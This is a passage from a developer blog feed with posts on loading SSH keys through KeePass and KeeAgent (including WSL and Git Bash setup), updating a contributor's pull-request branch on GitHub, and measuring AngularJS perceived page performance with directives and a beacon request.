<span class="token builtin class-name">eval</span> <span class="token variable"><span class="token variable">$(</span>"$weaselpath/weasel-pageant<span class="token string">" -r -a "</span>/tmp/.weasel-pageant-<span class="token environment constant">$USER</span>"<span class="token variable">)</span></span><span class="token operator">></span> /dev/null <span class="token operator"><span class="token file-descriptor important">2</span>></span> /dev/null
<span class="token function">sleep</span> <span class="token number">1</span>
<span class="token assign-left variable">sshkeysloaded</span><span class="token operator">=</span><span class="token variable"><span class="token variable">$(</span>ssh-add <span class="token parameter variable">-l</span> <span class="token operator">|</span> <span class="token function">grep</span> <span class="token parameter variable">-c</span> SHA<span class="token variable">)</span></span>
<span class="token keyword">if</span> <span class="token punctuation">[</span><span class="token punctuation">[</span> <span class="token variable">$sshkeysloaded</span> <span class="token parameter variable">-gt</span> <span class="token number">0</span> <span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">then</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"Loaded <span class="token variable">$sshkeysloaded</span> keys."</span>
<span class="token keyword">else</span>
<span class="token builtin class-name">echo</span> <span class="token parameter variable">-e</span> <span class="token string">"Failed to load any keys."</span>
<span class="token keyword">fi</span></code></pre>
<div class="notice info">
In WSL, Windows paths are prefixed with <code>/mnt/c/</code> for <code>C:</code>, and paths with spaces require double quotes around them.<br />
If you’ve changed your WSL mount point to <code>/c/</code>, be sure to reflect that in the path above.
</div>
<h3 id="test-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keeagent-with-wsl/#test-it">Test it</a></h3>
<p>Reload a WSL bash session and you should see <code>pageant loading, wait...</code> at the top. Once your bash prompt appears, test a connection to Github as usual.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">ssh</span> <span class="token parameter variable">-T</span> git@github.com</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-12.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-12.png" alt="Testing Keeagent" loading="lazy" /></span>
<figcaption>Testing Keeagent</figcaption>
</figure><p></p>
Using KeePass to serve SSH keys2019-07-28T00:00:00Zhttps://code.mendhak.com/keepass-and-keeagent-setup/<p>While KeePass is generally used for storing credentials, it can also be used to store SSH keys as well as <em>serve</em> those SSH keys when applications need it.</p>
<style>.github-repo-card{--gh-bg-color:#fff;--gh-color:#586069;--gh-heading-color:#0366d6;font-family:var(--sans-font);width:fit-content;max-width:50%;background-color:var(--gh-bg-color)!important;border:1px solid var(--gh-color)!important;border-radius:6px!important;padding:16px!important;color:var(--gh-color)!important}@media screen and (max-width:1200px){.github-repo-card{max-width:80%}}@media screen and (max-width:800px){.github-repo-card{max-width:100%}}@media (prefers-color-scheme:dark){.github-repo-card{--gh-bg-color:#212224;--gh-color:#8b949e;--gh-heading-color:#58a6ff}}.github-repo-card svg{fill:var(--gh-color)}.github-repo-card .d-flex{display:flex!important;margin-bottom:4px!important;align-items:flex-start!important;justify-content:space-between!important}.github-repo-card a{color:var(--gh-heading-color)!important}.github-repo-card .stats-icons a{display:inline-block!important;margin-right:24px!important;color:var(--gh-color)!important;font-size:.95rem!important}.github-repo-card .github-repo-text{color:var(--gh-color)!important;font-size:1rem;display:flex!important;white-space:normal!important;margin-bottom:8px!important}.github-repo-card .github-repo-title{font-weight:bolder}</style><div class="github-repo-card "> <div class="d-flex"> <a class="github-repo-title" href="https://github.com/mendhak/keepass-and-keeagent-setup"> <svg height="30px" width="30px" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"> <path d="M439.55 236.05L244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z"></path> </svg> <span> mendhak/keepass-and-keeagent-setup </span> </a> </div> <div class="github-repo-text">Security setup instructions for using KeePass with KeeAgent for SSH keypairs</div> <div class="stats-icons"> <a href="https://github.com/mendhak/keepass-and-keeagent-setup/stargazers" title="Stars"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 576 512"> <path d="M259.3 17.8L194 150.2 47.9 171.5c-26.2 3.8-36.7 36.1-17.7 54.6l105.7 103-25 145.5c-4.5 26.3 23.2 46 46.4 33.7L288 439.6l130.7 68.7c23.2 12.2 50.9-7.4 46.4-33.7l-25-145.5 105.7-103c19-18.5 8.5-50.8-17.7-54.6L382 150.2 316.7 17.8c-11.7-23.6-45.6-23.9-57.4 0z"></path> </svg> 48 </a> <a href="https://github.com/mendhak/keepass-and-keeagent-setup/network/members" title="Forks"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 384 512"> <path d="M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z"></path> </svg> 8 </a> <a title="Language"> <svg xmlns="http://www.w3.org/2000/svg" width="16px" height="16px" viewBox="0 0 512 512"><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"></path> </svg> </a> </div></div>
<h2 id="intro" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#intro">Intro</a></h2>
<p>It’s a good idea to use SSH keys when connecting to remote servers rather than username/passwords. It’s also a good practice to generate a keypair for each server you connect to - including when performing remote <code>git</code> operations.</p>
<p>Over time though, the number of keys you need to manage and remember can grow. There are various ways to solve this, including SSH <code>.config</code> files. KeePass is another way to go about this; by using KeePass and the KeeAgent plugin, we can use the KeePass database as a container for our keys and have it serve when needed. This has the advantage that the SSH keys are synced with the KeePass database.</p>
<h2 id="install-things" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#install-things">Install things</a></h2>
<h3 id="keepass" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#keepass">KeePass</a></h3>
<p>Ensure <a href="http://keepass.info/download.html">KeePass2 Professional Edition</a> is installed. You may want to consider using the <em>portable</em> edition, and syncing the entire KeePass installation along with your <code>.kdbx</code> across your machines. For example, you could have the KeePass installation in your Google Drive, which includes config file and a plugins folder. This way, your settings and plugins will carry across machines, reducing the setup required.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-in-gdrive.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-in-gdrive.png" alt="GDrive example" loading="lazy" /></span>
<figcaption>GDrive example</figcaption>
</figure><p></p>
<h3 id="git-bash" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#git-bash">Git Bash</a></h3>
<p>Git Bash isn’t just the <code>git</code> command as most people use it, it’s actually a collection of very useful and familiar utilities such as <code>grep</code>, <code>vi</code>, <code>awk</code>, <code>cut</code>, but most importantly <code>ssh</code> and <code>scp</code>. Have a look at <em>C:\Program Files\Git\usr\bin</em> to get an idea of what you can use.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/git-bin-folder.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/git-bin-folder.png" alt="git bin folder" loading="lazy" /></span>
<figcaption>git bin folder</figcaption>
</figure><p></p>
<p>When installing <a href="https://git-scm.com/downloads">Git Bash</a>, I’d recommend the options for using Git from the Windows Command Prompt, and line endings being ‘as is’.</p>
<h3 id="keeagent" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#keeagent">KeeAgent</a></h3>
<p>Install <a href="http://lechnology.com/software/keeagent/#Download">KeeAgent</a> - it’s a simple matter of placing the <code>KeeAgent.plgx</code> file in the KeePass plugins folder.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keeagent-install-plgx.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keeagent-install-plgx.png" alt="plgx in plugins folder" loading="lazy" /></span>
<figcaption>plgx in plugins folder</figcaption>
</figure><p></p>
<p>You will need to reopen KeePass for the plugin to appear.</p>
<h3 id="add-keys-to-your-remote-git-account" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#add-keys-to-your-remote-git-account">Add keys to your remote Git account</a></h3>
<p>A common use case for SSH is accessing your Github or Bitbucket account over <code>ssh</code> instead of <code>http</code>.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/github-clone.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/github-clone.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>As a prerequisite, <a href="https://help.github.com/articles/adding-a-new-ssh-key-to-your-github-account/">add your public key</a> to your account.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/ssh-key-paste.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/ssh-key-paste.png" alt="Github SSH key" loading="lazy" /></span>
<figcaption>Github SSH key</figcaption>
</figure><p></p>
<hr />
<h2 id="store-your-keys" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#store-your-keys">Store your keys</a></h2>
<p>Continuing with the Github example, create a new entry to hold the key. If the private key has a password on it, enter it in the password field.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-1.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-1.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Now for the keys. Click on the <em>Advanced</em> tab and choose to attach files.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-2.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-2.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Find your SSH keypair for your remote server and attach them</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-3.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-3.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<h3 id="load-your-key-with-keeagent" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#load-your-key-with-keeagent">Load your key with KeeAgent</a></h3>
<p>Click on the KeeAgent tab. Check the <em>Allow KeeAgent to use this entry</em> option. From the <em>Attachment</em> option, choose the private key that you attached just a while ago.</p>
<p>You should see the <em>Key Info</em> section populate with some information about your keys.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-4.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-4.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>At this point KeeAgent knows about your key but hasn’t loaded it. For the key to be loaded, either reopen the KeePass database, or double click on the <em>SSH Key Status</em> column to change the status from <em>Not Loaded</em> to <em>Loaded</em></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-5.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-5.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Another way to check which keys are loaded is by <em>Tools</em> > <em>KeeAgent</em></p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-6.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-6.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<h3 id="tell-git-bash-to-use-keeagent" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#tell-git-bash-to-use-keeagent">Tell Git Bash to use KeeAgent</a></h3>
<p>Although KeeAgent is now ready to serve the keys, Git Bash needs to be told about it. If you open Git Bash now and try a quick test, you should get an error.</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">ssh</span> <span class="token parameter variable">-T</span> git@github.com
Permission denied <span class="token punctuation">(</span>publickey<span class="token punctuation">)</span>.</code></pre>
<p>Go back to KeePass, and click <em>Tools</em> > <em>Options…</em> and then click the <em>KeeAgent</em> tab. Choose to <em>Show a notification…</em>, and more importantly check the boxes in the <em>Cygwin/MSYS Integration</em> area. Add a path such as <em>C:\Temp\cyglockfile</em> and <em>C:\Temp\syslockfile</em> or any arbitrary file name you want. This will create socket files, which is a Unix concept - it allows applications to talk to each other through a file. In this case, Git Bash will communicate with KeePass through one of these two socket files.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-7.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-7.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Again, close and reopen KeePass, then head over to <em>C:\Temp</em> or whichever path you specified. You should see your socket files there.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-8.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-8.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Using your text editor, or even <code>vi</code> in Git Bash, edit/create the <code>~/.bash_profile</code> file. This would correspond to <em>C:\users\username\.bash_profile</em></p>
<pre class="language-bash"><code class="language-bash"><span class="token function">vi</span> ~/.bash_profile</code></pre>
<p>Add the following line to it - it will set the <code>SSH_AUTH_SOCK</code> environment variable, pointing at the socket file. This is what Git Bash needs to know.</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">SSH_AUTH_SOCK</span></span><span class="token operator">=</span><span class="token string">"C:\Temp<span class="token entity" title="\c">\c</span>yglockfile"</span></code></pre>
<p>Close and reopen Git Bash. Then try your test again. If it works, you should see a message from Github, and a notification that a key was used. If it doesn’t work, try again with the other file (syslockfile) instead.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-9.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-9.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>Try out a few <code>git</code> commands - <code>git clone</code> (with the non-http URL), <code>git fetch</code> and <code>git push</code>. In each case it should use the key and show you a notification.</p>
<h3 id="don-t-load-every-key" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/keepass-and-keeagent-setup/#don-t-load-every-key">Don’t load every key</a></h3>
<p>Back in the load step, we left the <em>Add key to agent when database is opened/unlocked</em> option checked.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/keepass-ssh/keepass-ssh-key-10.png">
<img src="https://code.mendhak.com/assets/images/keepass-ssh/keepass-ssh-key-10.png" alt="" loading="lazy" /></span>
<figcaption></figcaption>
</figure><p></p>
<p>This tells KeeAgent to load this key up whenever this KeePass database is opened. But if you have around 5 or more keys loaded, your authentication may fail. This is because SSH Agents work by trying to use every loaded key until it finds one that works. Many SSH servers don’t like this and will close the connection if it sees around 5 or more attempts.</p>
<p>You should only check the above option for frequent use keys, and a Git server key is a good example.</p>
<p>For occasional use keys, you can double click the <em>SSH Key Status</em> column to load them only when you’re about to use it, and even unload a few others.</p>
<div class="notice info">
For instructions on using this setup with WSL (Ubuntu), see <a href="https://code.mendhak.com/posts/2019-08-01-keeagent-with-wsl.md">Using KeeAgent with WSL and Ubuntu </a>.
</div>
Updating another user's pull request to your Github repository2019-07-01T00:00:00Zhttps://code.mendhak.com/update-fork-pull-request/<p>When someone submits a pull request to your repository, it is actually possible to update their pull request by pushing commits to <em>their</em> fork.</p>
<p><a href="https://gist.github.com/mendhak/d3cafcf2d1a6764f7c2395e37bc05a81"><button>View Gist</button></a></p>
<p>In other words, you can push to a pull request branch, as long as the fork owner has <a href="https://help.github.com/en/articles/allowing-changes-to-a-pull-request-branch-created-from-a-fork">allowed it</a> while creating the pull request.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/allow-maintainers-to-make-edits-sidebar-checkbox.png">
<img src="https://code.mendhak.com/assets/images/allow-maintainers-to-make-edits-sidebar-checkbox.png" alt="pull request" loading="lazy" /></span>
<figcaption>pull request</figcaption>
</figure><p></p>
<p>Suppose you receive a pull request against your repo, <code>yourname/yourrepo.git</code> and it is created by <code>otheruser</code>’s fork of <code>yourrepo.git</code>.</p>
<p>Start by adding the other user’s repo as a remote.</p>
<pre><code>git remote add otheruser git@github.com:otheruser/yourrepo.git
</code></pre>
<p>Fetch the commits from their repo to your local repo.</p>
<pre><code>git fetch otheruser
</code></pre>
<p>Now create a local branch from their repository. It’s a good idea to name the branch after their repo name and branch name, as it helps identify the ‘who’ and ‘what’ later. In this example the <code>otheruser</code> simply worked on the <code>master</code> branch.</p>
<pre><code>git checkout -b otheruser-master otheruser/master
</code></pre>
<p>At this point you should make the changes that you want. Once you’re done, you can push to their repo. Here you have to use the remote name <code>otheruser</code>, and prefix the branch name with <code>HEAD:</code></p>
<pre><code>git push otheruser HEAD:master
</code></pre>
AngularJS - Perceived Performance2019-05-30T00:00:00Zhttps://code.mendhak.com/angular-performance/<p>Understanding and measuring Angular JS perceived performance</p>
<h2 id="page-load-vs-perceived-page-load" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-performance/#page-load-vs-perceived-page-load">Page Load vs Perceived Page Load</a></h2>
<p>In a traditional page, measuring the page performance is quite easy; a request is made, the server responds with some HTML and the browser renders it. Done.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/001.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/001.png" alt="Traditional" loading="lazy" /></span>
<figcaption>Traditional</figcaption>
</figure><p></p>
<p>A lot of the rendering logic is taken care of as part of the server processing and so looking at <code>Window Load</code> and <code>DOMContentReady</code> are good indicators of page performance.</p>
<p>In a Single Page Application, things get trickier. The <code>Window Load</code> is only the beginning - that’s when the JavaScript has been delivered to the browser, at which point the client-side logic - all the real work - kicks in and begins rendering the page, making API calls and setting up listeners, events, etc.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/002.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/002.png" alt="SPA" loading="lazy" /></span>
<figcaption>SPA</figcaption>
</figure><p></p>
<p>The DOM is then continuously manipulated as part of user interaction or monitoring, polling and other events. As you can see, the traditional definition of a page being ‘done’ doesn’t apply here.</p>
<p>The <em>perceived</em> page performance is how long the user thinks the major elements of the page took to load. By definition it is highly subjective - some users may think that the page is loaded just because the initial furniture appears. But for most users this will be the parts of the page they consider most important.</p>
<p>Taking GMail as an example, most users will consider the page ready when the list of emails appear. Whether or not the social tabs, filters, navigation or GTalk appears is less important.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/003.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/003.png" alt="gmail" loading="lazy" /></span>
<figcaption>gmail</figcaption>
</figure><p></p>
<p>Similarly, on a news website, the title and body of the news article matter the most. Related articles and featured stories aren’t that important, but top stories may matter.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/004.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/004.png" alt="bbc" loading="lazy" /></span>
<figcaption>bbc</figcaption>
</figure><p></p>
<p>The images above are just examples with arbitrarily assigned regions of importance. The point here is, the definition of page done has to be defined on a per-case basis. The most common definition is usually something like <em>“The page is done when this particular div is filled with content”</em> - indicating that the page loaded, an API call was made and the contents were rendered. On a heavier page, this would be when three or four divs have all been filled with content. You could even choose to ignore certain parts of the page as being less important.</p>
<h2 id="so-how-do-we-measure-perceived-page-performance" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-performance/#so-how-do-we-measure-perceived-page-performance">So how do we measure perceived page performance?</a></h2>
<p>The <em>perceived</em> page load is when all of the important dynamic parts of the page have been filled. This requires the developers to agree upon what the most important parts are, and to programmatically indicate when the specific portions are done. It’s an inexact science and the results will vary from user to user due to machine specs, network latency and other environmental factors, but you get a good idea of the timings involved and what users are actually experiencing.</p>
<p>Because this is a client side operation, a few components are required:</p>
<ol>
<li>
<p>An indicator placed on various parts of the page to watch that specific portion of the page (eg. article body, top articles, but not header or featured stories).</p>
</li>
<li>
<p>A listener which waits to be informed by all of the indicators; internally the listener can set up various timers as necessary.</p>
</li>
<li>
<p>A beacon which the listener can send the aggregate information to once it is satisfied that all of the indicators have reported to it. This beacon usually takes the form of an empty image, with timings passed in the querystring.</p>
<pre><code> /beacon.png?content=3913&name=ArticleView&initial=1011
</code></pre>
<p>The above means it took the ArticleView page 1011 milliseconds for its <em>initial</em> load and 3913 milliseconds to load the actual <em>content</em> (the perceived load time).</p>
</li>
<li>
<p>The beacon requests will be stored in your web server logs, and a log parsing application (eg. logster) can retrospectively process it, grab the information and store it your aggregating service (eg. graphite).</p>
</li>
</ol>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/005.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/005.png" alt="components" loading="lazy" /></span>
<figcaption>components</figcaption>
</figure><p></p>
<h2 id="using-the-performance-directives" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-performance/#using-the-performance-directives">Using the performance directives</a></h2>
<p>The listener shown above is the <code>performance</code> directive. Place this attribute at the beginning of your angular view.</p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">performance</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PageName<span class="token punctuation">"</span></span> <span class="token attr-name">performance-beacon</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>/sample/img/beacon.png<span class="token punctuation">"</span></span><span class="token punctuation">></span></span></code></pre>
<p>The <code>performance-beacon</code> indicates where the HTTP request should go when perceived page load is complete.</p>
<p>The watchers above are the <code>performance-loaded</code> directives. Place these attributes anywhere within the view and set its value to an object on the <code>$scope</code>. For example, you can do this</p>
<pre><code>performance-loaded="ProductsFromAPI"
</code></pre>
<p>This directive will watch the <code>$scope.ProductsFromAPI</code> object and mark loading as done when this object contains a value. You can control this further by using an object just for this directive:</p>
<pre><code>performance-loaded="Loaded"
</code></pre>
<p>And in your controller, only set <code>$scope.Loaded = true</code> when you feel that all the processing is complete. This is useful when your controller makes multiple API calls and you need to wait for all of them to complete before indicating that loading is complete.</p>
<p>Ensure that the <code>performance loaded</code> directives sit within the scope of the <code>performance</code> directive. In other words, the <code>performance-loaded</code> directives should be in the same controller as <code>performance</code> or in a ‘sub-controller’ inside it.</p>
<p><strong>Correct:</strong></p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>MyController<span class="token punctuation">"</span></span> <span class="token attr-name">performance</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PageName<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">performance-loaded</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ProductsFromAPI<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span></code></pre>
<p><strong>Correct:</strong></p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>MyController<span class="token punctuation">"</span></span> <span class="token attr-name">performance</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PageName<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>SomeOtherController<span class="token punctuation">"</span></span> <span class="token attr-name">performance-loaded</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ProductsFromAPI<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span></code></pre>
<p><strong>Incorrect:</strong></p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>MyController<span class="token punctuation">"</span></span> <span class="token attr-name">performance</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PageName<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
....
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">performance-loaded</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ProductsFromAPI<span class="token punctuation">"</span></span><span class="token punctuation">></span></span></code></pre>
<p><strong>Incorrect:</strong></p>
<pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>MyController<span class="token punctuation">"</span></span> <span class="token attr-name">performance</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>PageName<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>
....
<span class="token tag"><span class="token tag"><span class="token punctuation"></</span>div</span><span class="token punctuation">></span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation"><</span>div</span> <span class="token attr-name">ng-controller</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>SomeOtherController<span class="token punctuation">"</span></span> <span class="token attr-name">performance-loaded</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>ProductsFromAPI<span class="token punctuation">"</span></span><span class="token punctuation">></span></span></code></pre>
<h2 id="demo-code" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-performance/#demo-code">Demo/Code</a></h2>
<p>See this page for a demo.</p>
<p><a href="https://code.mendhak.com/angular-performance/sample/"><button>View Demo</button></a></p>
<p>Be sure to open your networks tab or Fiddler to see the beacon request.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/angular-performance/006.png">
<img src="https://code.mendhak.com/assets/images/angular-performance/006.png" alt="network tab" loading="lazy" /></span>
<figcaption>network tab</figcaption>
</figure><p></p>
<p>Look at <a href="https://github.com/mendhak/angular-performance/blob/master/sample/index.html">index.html</a> and <a href="https://github.com/mendhak/angular-performance/blob/master/sample/js/controllers.js">controllers.js</a> to see how it’s done.</p>
<p>You can use <a href="https://raw.github.com/mendhak/angular-performance/master/src/angular-performance.js">angular-performance.js</a> or its <a href="https://raw.github.com/mendhak/angular-performance/master/build/angular-performance.min.js">minified version</a>.</p>
<h2 id="other-methods" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/angular-performance/#other-methods">Other methods</a></h2>
<p>Understandably, this may not always be the best approach for you. Projects differ in structure as well as the benefit of effort. You may find that simply using a stopwatch and visually sighting the page is a good enough approach. It sounds crude and unscientific, but can still be considered a legitimate indicator of what users are experiencing. The best approach here is to spin up a few cloud instances in different geographies and navigate to the site several times, taking the average. It’s manual and it works.</p>
<p>Another possible avenue to explore is the upcoming <a href="http://www.w3.org/TR/user-timing/">User Timing Marks</a> specified in the W3C draft. This works by having your code emit marks</p>
<pre class="language-javascript"><code class="language-javascript">performance<span class="token punctuation">.</span><span class="token function">mark</span><span class="token punctuation">(</span><span class="token string">"Loaded product detail"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre>
<p>And having a listener such as WebPageTest record them. This allows for automation and indication as well as recording of important points of the page’s lifecycle.</p>
